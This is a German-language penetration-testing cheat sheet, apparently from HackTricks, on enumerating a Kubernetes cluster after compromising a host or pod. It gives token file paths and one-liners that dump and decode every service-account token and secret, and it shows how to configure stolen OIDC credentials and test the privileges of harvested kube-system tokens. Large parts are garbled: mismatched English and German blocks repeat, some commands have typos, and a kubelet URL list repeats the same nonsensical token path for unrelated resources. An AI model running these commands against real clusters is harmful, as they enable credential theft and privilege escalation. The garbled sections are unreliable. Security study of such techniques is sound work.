Kubernetes Enumeration

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
Holen Sie sich das offizielle PEASS & HackTricks-Merch
Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦 @carlospolopm.
Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.

Kubernetes Tokens

Wenn Sie Zugriff auf eine Maschine kompromittiert haben, hat der Benutzer möglicherweise Zugriff auf eine Kubernetes-Plattform. Der Token befindet sich normalerweise in einer Datei, auf die die Umgebungsvariable KUBECONFIG oder innerhalb von ~/.kube verweist.

In diesem Ordner finden Sie Konfigurationsdateien mit Tokens und Konfigurationen zum Verbinden mit dem API-Server. In diesem Ordner finden Sie auch einen Cache-Ordner mit zuvor abgerufenen Informationen.

Wenn Sie einen Pod innerhalb einer Kubernetes-Umgebung kompromittiert haben, gibt es andere Orte, an denen Sie Tokens und Informationen zur aktuellen K8-Umgebung finden können:

Service Account Tokens

Bevor Sie fortfahren, wenn Sie nicht wissen, was ein Dienst in Kubernetes ist, würde ich Ihnen empfehlen, diesen Link zu folgen und zumindest die Informationen zur Kubernetes-Architektur zu lesen.

Entnommen aus der Kubernetes-Dokumentation:

„Wenn Sie einen Pod erstellen und keinen Dienstaccount angeben, wird ihm automatisch der Standard Dienstaccount im selben Namespace zugewiesen.“

ServiceAccount ist ein von Kubernetes verwaltetes Objekt, das dazu dient, eine Identität für Prozesse bereitzustellen, die in einem Pod ausgeführt werden. Jeder Dienstaccount hat ein damit verbundenes Geheimnis, und dieses Geheimnis enthält ein Bären-Token. Dies ist ein JSON-Web-Token (JWT), eine Methode zur sicheren Darstellung von Ansprüchen zwischen zwei Parteien.

Normalerweise befinden sich einer der Verzeichnisse:

/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount

die Dateien:

ca.crt: Es ist das CA-Zertifikat zur Überprüfung von Kubernetes-Kommunikationen
namespace: Es zeigt den aktuellen Namespace an
token: Es enthält das Dienst-Token des aktuellen Pods.

Nun, da Sie den Token haben, können Sie den API-Server in der Umgebungsvariable KUBECONFIG finden. Für weitere Informationen führen Sie (env | set) | grep -i "kuber|kube" aus.

Das Dienstkontotoken wird vom im sa.key-Datei befindlichen Schlüssel signiert und von sa.pub validiert.

Standardmäßiger Speicherort auf Kubernetes:

/etc/kubernetes/pki

Standardmäßiger Speicherort auf Minikube:

/var/lib/localkube/certs

Hot Pods

Hot Pods sind Pods, die ein privilegiertes Dienstkontotoken enthalten. Ein privilegiertes Dienstkontotoken ist ein Token, das Berechtigungen für privilegierte Aufgaben wie das Auflisten von Geheimnissen, das Erstellen von Pods usw. hat.

RBAC

Wenn Sie nicht wissen, was RBAC ist, lesen Sie diesen Abschnitt.

Enumeration CheatSheet

Um eine K8s-Umgebung aufzulisten, benötigen Sie Folgendes:

Einen gültigen Authentifizierungstoken. Im vorherigen Abschnitt haben wir gesehen, wo nach einem Benutzertoken und einem Dienstkontotoken gesucht werden kann.
Die Adresse (https://host:port) des Kubernetes-API. Diese kann normalerweise in den Umgebungsvariablen und/oder in der kube-Konfigurationsdatei gefunden werden.
Optional: Das ca.crt zur Überprüfung des API-Servers. Dies kann an denselben Stellen gefunden werden, an denen sich der Token befindet. Dies ist nützlich, um das Zertifikat des API-Servers zu überprüfen, aber wenn Sie --insecure-skip-tls-verify mit kubectl oder -k mit curl verwenden, benötigen Sie dies nicht.

Mit diesen Details können Sie Kubernetes aufzählen. Wenn der API-Server aus irgendeinem Grund über das Internet zugänglich ist, können Sie einfach diese Informationen herunterladen und die Plattform von Ihrem Host aus aufzählen.

Normalerweise befindet sich der API-Server jedoch in einem internen Netzwerk, daher müssen Sie eine Verbindung durch die kompromittierte Maschine herstellen, um von Ihrem Gerät aus darauf zuzugreifen, oder Sie können das kubectl-Binärprogramm hochladen oder curl/wget/anything verwenden, um Roh-HTTP-Anfragen an den API-Server zu senden.

Unterschiede zwischen den Verben `list` und `get`

Mit get-Berechtigungen können Sie Informationen zu bestimmten Assets abrufen (describe-Option in kubectl).

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Wenn Sie die list Berechtigung haben, dürfen Sie API-Anfragen ausführen, um einen Typ von Vermögenswerten aufzulisten (get Option in kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Wenn Sie die watch Berechtigung haben, dürfen Sie API-Anfragen ausführen, um Assets zu überwachen:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Sie öffnen eine Streaming-Verbindung, die Ihnen das vollständige Manifest eines Deployments zurückgibt, wann immer es sich ändert (oder wenn ein neues erstellt wird).

Die folgenden kubectl-Befehle zeigen nur, wie man die Objekte auflistet. Wenn Sie auf die Daten zugreifen möchten, müssen Sie anstelle von get describe verwenden.

Mit curl

Von innerhalb eines Pods aus können Sie mehrere Umgebungsvariablen verwenden:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Standardmäßig kann das Pod auf den kube-api Server unter dem Domänennamen kubernetes.default.svc zugreifen und Sie können das kube-Netzwerk in /etc/resolv.config sehen, da Sie hier die Adresse des Kubernetes-DNS-Servers finden (die ".1" des gleichen Bereichs ist der kube-api-Endpunkt).

Verwendung von kubectl

Nachdem Sie das Token und die Adresse des API-Servers haben, verwenden Sie kubectl oder curl, um darauf zuzugreifen, wie hier angegeben:

Standardmäßig kommuniziert der APISERVER mit dem https://-Schema

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

Wenn keine https:// in der URL vorhanden ist, können Sie einen Fehler wie Bad Request erhalten.

Sie können hier ein offizielles kubectl Spickzettel finden. Das Ziel der folgenden Abschnitte ist es, verschiedene Optionen in geordneter Weise darzustellen, um das neue K8s, auf das Sie Zugriff erhalten haben, zu enumerieren und zu verstehen.

Um den HTTP-Request zu finden, den kubectl sendet, können Sie den Parameter -v=8 verwenden.

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Aktuelle Konfiguration

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Wenn es Ihnen gelungen ist, einige Benutzeranmeldeinformationen zu stehlen, können Sie sie lokal konfigurieren, indem Sie etwas Ähnliches verwenden:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Unterstützte Ressourcen abrufen

Mit diesen Informationen kennen Sie alle Dienste, die Sie auflisten können

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Aktuelle Berechtigungen erhalten

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

Kubernetes-Enumeration

Service Accounts

List all Service Accounts in all Namespaces:

kubectl get serviceaccounts --all-namespaces

List all Service Accounts Tokens in all Namespaces:

for ns in $(kubectl get namespaces -o jsonpath='{.items[*].metadata.name}'); do kubectl get serviceaccounts --namespace $ns -o jsonpath='{.items[*].secrets[*].name}{"\n"}' 2>/dev/null | xargs -I{} kubectl get secret {} --namespace $ns -o jsonpath='{.data.token}{"\n"}' | base64 -d 2>/dev/null; done

List all Service Accounts Tokens in a specific Namespace:

for secret in $(kubectl get serviceaccounts --namespace <NAMESPACE> -o jsonpath='{.items[*].sesecrets[*].name}'); do kubectl get secret $secret --namespace <NAMESPACE> -o jsonpath='{.data.token}{"\n"}' | base64 -d 2>/dev/null; done

List all Service Accounts Tokens in all Namespaces (using kubectl-who-can):

kubectl-who-can get secrets --all-namespaces | grep -i serviceaccounttoken | awk '{print $1}' | xargs -I{} kubectl get secret {} -o jsonpath='{.data.token}{"\n"}' | base64 -d 2>/dev/null

Pods

List all Pods in all Namespaces:

kubectl get pods --all-namespaces

List all Pods with associated Service Account Tokens in all Namespaces:

for ns in $(kubectl get namespaces -o jsonpath='{.items[*].metadata.name}'); do kubectl get pods --namespace $ns -o jsonpath='{.items[*].metadata.name}{"\n"}' 2>/dev/null | xargs -I{} kubectl get pod {} --namespace $ns -o jsonpath='{.spec.serviceAccountName}{"\n"}' | xargs -I{} kubectl get secret {} --namespace $ns -o jsonpath='{.data.token}{"\n"}' | base64 -d 2>/dev/null; done

List all Pods with associated Service Account Tokens in a specific Namespace:

for pod in $(kubectl get pods --namespace <NAMESPACE> -o jsonpath='{.items[*].metadata.name}'); do k_pod=$(kubectl get pod $pod --namespace <NAMESPACE> -o jsonpath='{.spec.serviceAccountName}{"\n"}'); kubectl get secret $(kubectl get serviceaccount $k_pod --namespace <NAMESPACE> -o jsonpath='{.secrets[*].name}') --namespace <NAMESPACE> -o jsonpath='{.data.token}{"\n"}' | base64 -d 2>/dev/null; done

List all Pods with associated Service Account Tokens in all Namespaces (using kubectl-who-can):

kubectl-who-can get secrets --all-namespaces | grep -i serviceaccounttoken | awk '{print $1}' | xargs -I{} kubectl get secret {} -o jsonpath='{.data.token}{"\n"}' | base64 -d 2>/dev/null

kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

Eine weitere Möglichkeit, Ihre Berechtigungen zu überprüfen, ist die Verwendung des Tools: https://github.com/corneliusweig/rakkess****

Weitere Informationen zu Kubernetes RBAC finden Sie unter:

pageKubernetes Role-Based Access Control(RBAC)

Sobald Sie wissen, welche Berechtigungen Sie haben, überprüfen Sie die folgende Seite, um herauszufinden, ob Sie sie missbrauchen können, um Berechtigungen zu eskalieren:

pageAbusing Roles/ClusterRoles in Kubernetes

Erhalten Sie andere Rollen

k get roles
k get clusterroles

Kubernetes-Enumeration

Service Accounts

List all service accounts in the cluster:

kubectl get serviceaccounts --all-namespaces

Get detailed information about a specific service account:

kubectl describe serviceaccount <service-account-name> -n <namespace>

List all service account tokens in the cluster:

kubectl get secrets --all-namespaces | grep service-account-token

Decode a service account token:
```
echo "<token>" | base64 -d
```

Pods

List all pods in the cluster:
```
kubectl get pods --all-namespaces
```

Get detailed information about a specific pod:

kubectl describe pod <pod-name> -n <namespace>

List all environment variables in a pod:

kubectl exec <pod-name> -n <namespace> -- printenv

Access the pod's shell:

kubectl exec -it <pod-name> -n <namespace> -- /bin/sh

Nodes

List all nodes in the cluster:
```
kubectl get nodes
```
Get detailed information about a specific node:
```
kubectl describe node <node-name>
```

List all pods running on a specific node:

kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.nodeName=="<node-name>")'

RBAC

List all roles in the cluster:
```
kubectl get roles --all-namespaces
```

List all role bindings in the cluster:

kubectl get rolebindings --all-namespaces

List all cluster roles in the cluster:
```
kubectl get clusterroles
```
List all cluster role bindings in the cluster:
```
kubectl get clusterrolebindings
```

Network Policies

List all network policies in the cluster:

kubectl get networkpolicies --all-namespaces

Get detailed information about a specific network policy:

kubectl describe networkpolicy <network-policy-name> -n <namespace>

Storage Classes

List all storage classes in the cluster:
```
kubectl get storageclasses
```
Get detailed information about a specific storage class:
```
kubectl describe storageclass <storage-class-name>
```

Persistent Volumes

List all persistent volumes in the cluster:
```
kubectl get persistentvolumes
```
Get detailed information about a specific persistent volume:
```
kubectl describe persistentvolume <persistent-volume-name>
```

Secrets

List all secrets in the cluster:
```
kubectl get secrets --all-namespaces
```

Get detailed information about a specific secret:

kubectl describe secret <secret-name> -n <namespace>

Decode a secret:
```
echo "<secret>" | base64 -d
```

Config Maps

List all config maps in the cluster:
```
kubectl get configmaps --all-namespaces
```

Get detailed information about a specific config map:

kubectl describe configmap <config-map-name> -n <namespace>

kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

Erhalte Namespaces

Kubernetes unterstützt mehrere virtuelle Cluster, die vom selben physischen Cluster unterstützt werden. Diese virtuellen Cluster werden Namespaces genannt.

k get namespaces

kurl -k -v https://$APISERVER/api/v1/namespaces/

Geheime Informationen erhalten

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

Kubernetes-Enumeration

Service Accounts

API-Server: https://<k8s-apiserver>/api/v1/namespaces/<namespace>/serviceaccounts
Kubelet: https://<k8s-kubelet>/pods/<pod-name>/exec/<container-name>/ls /var/run/secrets/kubernetes.io/serviceaccount

Secrets

API-Server: https://<k8s-apiserver>/api/v1/namespaces/<namespace>/secrets
Kubelet: https://<k8s-kubelet>/pods/<pod-name>/exec/<container-name>/cat /var/run/secrets/kubernetes.io/serviceaccount/token

ConfigMaps

API-Server: https://<k8s-apiserver>/api/v1/namespaces/<namespace>/configmaps
Kubelet: https://<k8s-kubelet>/pods/<pod-name>/exec/<container-name>/cat /var/run/secrets/kubernetes.io/serviceaccount/token

Pods

API-Server: https://<k8s-apiserver>/api/v1/namespaces/<namespace>/pods
Kubelet: https://<k8s-kubelet>/pods/<pod-name>/exec/<container-name>/cat /var/run/secrets/kubernetes.io/serviceaccount/token

Persistent Volumes

API-Server: https://<k8s-apiserver>/api/v1/persistentvolumes
Kubelet: https://<k8s-kubelet>/pods/<pod-name>/exec/<container-name>/cat /var/run/secrets/kubernetes.io/serviceaccount/token

RBAC

API-Server: https://<k8s-apiserver>/apis/rbac.authorization.k8s.io/v1/clusterroles
Kubelet: https://<k8s-kubelet>/pods/<pod-name>/exec/<container-name>/cat /var/run/secrets/kubernetes.io/serviceaccount/token

Nodes

API-Server: https://<k8s-apiserver>/api/v1/nodes
Kubelet: https://<k8s-kubelet>/pods/<pod-name>/exec/<container-name>/cat /var/run/secrets/kubernetes.io/serviceaccount/token

Network Policies

API-Server: https://<k8s-apiserver>/apis/networking.k8s.io/v1/networkpolicies
Kubelet: https://<k8s-kubelet>/pods/<pod-name>/exec/<container-name>/cat /var/run/secrets/kubernetes.io/serviceaccount/token

Storage Classes

API-Server: https://<k8s-apiserver>/apis/storage.k8s.io/v1/storageclasses
Kubelet: https://<k8s-kubelet>/pods/<pod-name>/exec/<container-name>/cat /var/run/secrets/kubernetes.io/serviceaccount/token

Events

API-Server: https://<k8s-apiserver>/api/v1/events
Kubelet: https://<k8s-kubelet>/pods/<pod-name>/exec/<container-name>/cat /var/run/secrets/kubernetes.io/serviceaccount/token

Limit Ranges

API-Server: https://<k8s-apiserver>/api/v1/namespaces/<namespace>/limitranges
Kubelet: https://<k8s-kubelet>/pods/<pod-name>/exec/<container-name>/cat /var/run/secrets/kubernetes.io/serviceaccount/token

Ingresses

API-Server: https://<k8s-apiserver>/apis/networking.k8s.io/v1/ingresses
Kubelet: https://<k8s-kubelet>/pods/<pod-name>/exec/<container-name>/cat /var/run/secrets/kubernetes.io/serviceaccount/token

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

Wenn Sie Geheimnisse lesen können, können Sie die folgenden Zeilen verwenden, um die mit jedem Token verbundenen Berechtigungen zu erhalten:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Service Accounts abrufen

Wie am Anfang dieser Seite diskutiert, wird einem Pod in der Regel ein Service Account zugewiesen, wenn er ausgeführt wird. Daher kann das Auflisten der Service Accounts, ihrer Berechtigungen und ihres Ausführungsorts einem Benutzer ermöglichen, Berechtigungen zu eskalieren.

k get serviceaccounts

kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

Erhalte Bereitstellungen

Die Bereitstellungen geben die Komponenten an, die ausgeführt werden müssen.

.k get deployments
k get deployments -n custnamespace

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

Pods abrufen

Die Pods sind die tatsächlichen Container, die ausgeführt werden.

k get pods
k get pods -n custnamespace

Kubernetes-Enumeration

Service Accounts

Beschreibung: Service Accounts sind für die Kommunikation zwischen Pods und dem Kubernetes-API-Server verantwortlich.
Befehle:
- kubectl get serviceaccounts --all-namespaces
- kubectl get serviceaccounts default -n NAMESPACE -o yaml
Weitere Informationen:
- Überprüfen Sie die Berechtigungen der Service Accounts, um mögliche Angriffspunkte zu identifizieren.

Secrets

Beschreibung: Secrets speichern sensible Informationen wie Zugangsdaten, API-Keys usw.
Befehle:
- kubectl get secrets --all-namespaces
- kubectl get secrets SECRET_NAME -n NAMESPACE -o yaml
Weitere Informationen:
- Überprüfen Sie, ob sensible Informationen unverschlüsselt gespeichert sind.

ConfigMaps

Beschreibung: ConfigMaps speichern Konfigurationsdaten als Key-Value-Paare.
Befehle:
- kubectl get configmaps --all-namespaces
- kubectl get configmaps CONFIGMAP_NAME -n NAMESPACE -o yaml
Weitere Informationen:
- Überprüfen Sie, ob sensible Konfigurationsdaten öffentlich zugänglich sind.

Ingress Resources

Beschreibung: Ingress Resources definieren den Zugriff auf Kubernetes-Services von außerhalb des Clusters.
Befehle:
- kubectl get ingresses --all-namespaces
- kubectl get ingresses INGRESS_NAME -n NAMESPACE -o yaml
Weitere Informationen:
- Überprüfen Sie die Konfiguration der Ingress Resources auf Sicherheitslücken.

Network Policies

Beschreibung: Network Policies steuern den eingehenden und ausgehenden Netzwerkverkehr für Pods.
Befehle:
- kubectl get networkpolicies --all-namespaces
- kubectl get networkpolicies NETWORK_POLICY_NAME -n NAMESPACE -o yaml
Weitere Informationen:
- Überprüfen Sie, ob die Network Policies restriktiv genug sind, um unerwünschten Netzwerkverkehr zu verhindern.

Persistent Volumes

Beschreibung: Persistent Volumes sind Speicherbereiche, die von Pods genutzt werden können.
Befehle:
- kubectl get persistentvolumes
- kubectl get persistentvolumeclaims --all-namespaces
Weitere Informationen:
- Überprüfen Sie die Berechtigungen und Zugriffsrechte für Persistent Volumes.

Roles und Role Bindings

Beschreibung: Roles definieren, welche Aktionen ein Benutzer innerhalb eines Namespaces ausführen kann, während Role Bindings Benutzer mit Rollen verknüpfen.
Befehle:
- kubectl get roles --all-namespaces
- kubectl get rolebindings --all-namespaces
Weitere Informationen:
- Überprüfen Sie die Rollen und Role Bindings, um sicherzustellen, dass nur autorisierte Benutzer bestimmte Aktionen ausführen können.

Service Types

Beschreibung: Service Types definieren, wie ein Service innerhalb des Clusters erreichbar ist (z. B. ClusterIP, NodePort, LoadBalancer).
Befehle:
- kubectl get services --all-namespaces
- kubectl get services SERVICE_NAME -n NAMESPACE -o yaml
Weitere Informationen:
- Überprüfen Sie die Service Types auf potenzielle Sicherheitsrisiken.

Pod Security Policies

Beschreibung: Pod Security Policies legen fest, welche Sicherheitsrichtlinien Pods einhalten müssen.
Befehle:
- kubectl get podsecuritypolicies --all-namespaces
- kubectl get podsecuritypolicies POLICY_NAME -n NAMESPACE -o yaml
Weitere Informationen:
- Überprüfen Sie die Konfiguration der Pod Security Policies, um sicherzustellen, dass Pods sicher ausgeführt werden.

Custom Resource Definitions (CRDs)

Beschreibung: CRDs ermöglichen die Erweiterung der Kubernetes-API.
Befehle:
- kubectl get customresourcedefinitions.apiextensions.k8s.io
- kubectl get customresourcedefinitions.apiextensions.k8s.io CRD_NAME -o yaml
Weitere Informationen:
- Überprüfen Sie die Konfiguration von CRDs auf potenzielle Sicherheitslücken.

RBAC

Beschreibung: Role-Based Access Control (RBAC) regelt den Zugriff auf Kubernetes-Ressourcen basierend auf den zugewiesenen Rollen.
Befehle:
- kubectl get clusterroles
- kubectl get clusterrolebindings
Weitere Informationen:
- Überprüfen Sie die RBAC-Konfiguration, um sicherzustellen, dass nur autorisierte Benutzer auf Ressourcen zugreifen können.

API-Server

Beschreibung: Der API-Server ist die zentrale Schnittstelle für die Verwaltung von Kubernetes-Clustern.
Befehle:
- kubectl cluster-info
- kubectl get componentstatuses
Weitere Informationen:
- Überprüfen Sie die Konfiguration des API-Servers auf potenzielle Sicherheitsprobleme.

Weitere Enumerationstechniken

Beschreibung: Weitere Techniken zur Enumeration von Kubernetes-Clustern.
Befehle:
- kubectl get pods --all-namespaces
- kubectl get deployments --all-namespaces
Weitere Informationen:
- Nutzen Sie verschiedene Befehle, um weitere Informationen über den Cluster zu sammeln.

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Erhalte Dienste

Kubernetes Dienste werden verwendet, um einen Dienst an einem bestimmten Port und einer IP-Adresse zu veröffentlichen (die als Lastenausgleicher für die Pods fungieren, die den Dienst tatsächlich anbieten). Es ist interessant zu wissen, wo Sie andere Dienste finden können, um versuchen zu können, anzugreifen.

k get services
k get services -n custnamespace

Kubernetes-Enumeration

Service Accounts

Beschreibung: Service Accounts sind standardmäßig in jedem Namespace vorhanden und können verwendet werden, um Pods zu authentifizieren.
Befehle:
- kubectl get serviceaccounts --all-namespaces
- kubectl get serviceaccounts default -n NAMESPACE -o yaml
Ergebnisse:
- Informationen zu vorhandenen Service Accounts
- Geheime Token können in den Service Account-Dateien gefunden werden

Pods

Beschreibung: Pods sind die kleinsten bereitstellbaren Einheiten in Kubernetes.
Befehle:
- kubectl get pods --all-namespaces
- kubectl describe pod POD_NAME -n NAMESPACE
Ergebnisse:
- Informationen zu vorhandenen Pods
- Umgebungsvariablen und gemountete Volumes können sensible Informationen enthalten

Cluster-Rollen und Cluster-Rollen-Bindungen

Beschjsonreibung: Cluster-Rollen definieren Berechtigungen auf Cluster-Ebene, während Cluster-Rollen-Bindungen Cluster-Rollen an Benutzer oder Service Accounts binden.
Befehle:
- kubectl get clusterroles
- kubectl get clusterrolebindings
Ergebnisse:
- Liste der verfügbaren Cluster-Rollen und deren Bindungen

Ingress-Ressourcen

Beschreibung: Ingress-Ressourcen ermöglichen den Zugriff auf Dienste von außerhalb des Clusters.
Befehle:
- kubectl get ingresses --all-namespaces
- kubectl describe ingress INGRESS_NAME -n NAMESPACE
Ergebnisse:
- Informationen zu vorhandenen Ingress-Ressourcen
- Konfigurationen für den externen Zugriff auf Dienste

Netzwerkrichtlinien

Beschreibung: Netzwerkrichtlinien legen fest, wie Pods miteinander und mit anderen Ressourcen kommunizieren können.
Befehle:
- kubectl get networkpolicies --all-namespaces
- kubectl describe networkpolicy NETWORK_POLICY_NAME -n NAMESPACE
Ergebnisse:
- Informationen zu den Netzwerkrichtlinien im Cluster

Speicher

Beschreibung: Speicher kann sensible Daten enthalten und sollte entsprechend geschützt werden.
Befehle:
- kubectl get persistentvolumeclaims --all-namespaces
- kubectl describe persistentvolumeclaim PVC_NAME -n NAMESPACE
Ergebnisse:
- Informationen zu den persistenten Volumenansprüchen im Cluster

Umgebungsvariablen

Beschreibung: Umgebungsvariablen können sensible Informationen wie Passwörter oder API-Schlüssel enthalten.
Befehle:
- kubectl get pods --all-namespaces -o=jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].env[*].name}{"\t"}{.spec.containers[*].env[*].value}{"\n"}{end}'
Ergebnisse:
- Liste von Pods und deren Umgebungsvariablen

Geheimnisse

Beschreibung: Geheimnisse werden verwendet, um sensible Daten wie Passwörter sicher zu speichern.
Befehle:
- kubectl get secrets --all-namespaces
- kubectl describe secret SECRET_NAME -n NAMESPACE
Ergebnisse:
- Informationen zu den vorhandenen Geheimnissen im Cluster

ConfigMaps

Beschreibung: ConfigMaps speichern Konfigurationsdaten als Schlüssel-Wert-Paare.
Befehle:
- kubectl get configmaps --all-namespaces
- kubectl describe configmap CONFIGMAP_NAME -n NAMESPACE
Ergebnisse:
- Informationen zu den vorhandenen ConfigMaps im Cluster

Persistent Volume Claims

Beschreibung: Persistent Volume Claims ermöglichen es Pods, auf persistenten Speicher zuzugreifen.
Befehle:
- kubectl get persistentvolumeclaims --all-namespaces
- kubectl describe persistentvolumeclaim PVC_NAME -n NAMESPACE
Ergebnisse:
- Informationen zu den persistenten Volumenansprüchen im Cluster

Endpunkte

Beschreibung: Endpunkte sind Verbindungen zu Diensten innerhalb des Clusters.
Befehle:
- kubectl get endpoints --all-namespaces
- kubectl describe endpoints ENDPOINT_NAME -n NAMESPACE
Ergebnisse:
- Informationen zu den Endpunkten im Cluster

Namespaces

Beschreibung: Namespaces dienen dazu, Ressourcen in logische Gruppen zu unterteilen.
Befehle:
- kubectl get namespaces
- kubectl describe namespace NAMESPACE
Ergebnisse:
- Informationen zu den vorhandenen Namespaces im Cluster

Dienste

Beschreibung: Dienste ermöglichen die Exposition von Pods als Netzwerkdienste.
Befehle:
- kubectl get services --all-namespaces
- kubectl describe service SERVICE_NAME -n NAMESPACE
Ergebnisse:
- Informationen zu den vorhandenen Diensten im Cluster

Rollen und Rollen-Bindungen

Beschreibung: Rollen definieren Berechtigungen auf Namespace-Ebene, während Rollen-Bindungen Rollen an Benutzer oder Service Accounts binden.
Befehle:
- kubectl get roles --all-namespaces
- kubectl get rolebindings --all-namespaces
Ergebnisse:
- Liste der verfügbaren Rollen und deren Bindungen

Pod-Sicherheitsrichtlinien

Beschreibung: Pod-Sicherheitsrichtlinien legen Sicherheitsstandards für Pods fest.
Befehle:
- kubectl get podsecuritypolicies --all-namespaces
- kubectl describe podsecuritypolicy PSP_NAME -n NAMESPACE
Ergebnisse:
- Informationen zu den Pod-Sicherheitsrichtlinien im Cluster

LimitRange

Beschreibung: LimitRange definiert Ressourcenlimits für Pods in einem Namespace.
Befehle:
- kubectl get limitranges --all-namespaces
- kubectl describe limitrange LIMITRANGE_NAME -n NAMESPACE
Ergebnisse:
- Informationen zu den LimitRanges im Cluster

StorageClasses

Beschreibung: StorageClasses definieren verschiedene Arten von Speicher für Persistent Volume Claims.
Befehle:
- kubectl get storageclasses
- kubectl describe storageclass STORAGECLASS_NAME
Ergebnisse:
- Informationen zu den verfügbaren StorageClasses im Cluster

Custom Resource Definitions (CRDs)

Beschreibung: CRDs ermöglichen die Erweiterung der Kubernetes-API mit benutzerdefinierten Ressourcen.
Befehle:
- kubectl get crds
- kubectl describe crd CRD_NAME
Ergebnisse:
- Liste der verfügbaren CRDs im Cluster

Helm-Releases

Beschreibung: Helm-Releases sind Pakete von Kubernetes-Ressourcen, die mit Helm verwaltet werden.
Befehle:
- kubectl get helmreleases --all-namespaces
- kubectl describe helmrelease HELMRELEASE_NAME -n NAMESPACE
Ergebnisse:
- Informationen zu den Helm-Releases im Cluster

Service-Meshes

Beschreibung: Service-Meshes bieten Funktionen wie Lastausgleich, Sicherheit und Überwachung für Microservices.
Befehle:
- kubectl get servicemeshes --all-namespaces
- kubectl describe servicemesh SERVICEMESH_NAME -n NAMESPACE
Ergebnisse:
- Informationen zu den Service-Meshes im Cluster

Weitere Ressourcen

Befehle:
- kubectl api-resources
- kubectl api-versions
Ergebnisse:
- Liste der verfügbaren API-Ressourcen und -Versionen im Cluster

kurl -v https://$APISERVER/api/v1/namespaces/default/services/

Knoten abrufen

Holen Sie alle Knoten, die im Cluster konfiguriert sind.

k get nodes

kurl -v https://$APISERVER/api/v1/nodes/

Erhalte DaemonSets

DaemonSets ermöglichen es, sicherzustellen, dass ein bestimmter Pod auf allen Knoten des Clusters (oder auf den ausgewählten) läuft. Wenn Sie den DaemonSet löschen, werden auch die von ihm verwalteten Pods entfernt.

k get daemonsets

Kubernetes-Enumeration

Service Accounts

List all service accounts in the cluster:
```
kubectl get serviceaccounts --all-namespaces
```

Get detailed information about a specific service account:

kubectl describe serviceaccount <service-account-name> -n <namespace>

List all service account tokens in the cluster:

kubectl get secrets --all-namespaces | grep service-account-token

Decode a service account token:
```
echo "<token>" | base64 -d
```

Pods

List all pods in the cluster:
```
kubectl get pods --all-namespaces
```
Get detailed information about a specific pod:
```
kubectl describe pod <pod-name> -n <namespace>
```

List all environment variables in a pod:

kubectl exec <pod-name> -n <namespace> -- printenv

Access the pod's shell:

kubectl exec -it <pod-name> -n <namespace> -- /bin/sh

Nodes

List all nodes in the cluster:
```
kubectl get nodes
```
Get detailed information about a specific node:
```
kubectl describe node <node-name>
```

List all pods running on a specific node:

kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.nodeName=="<node-name>")'

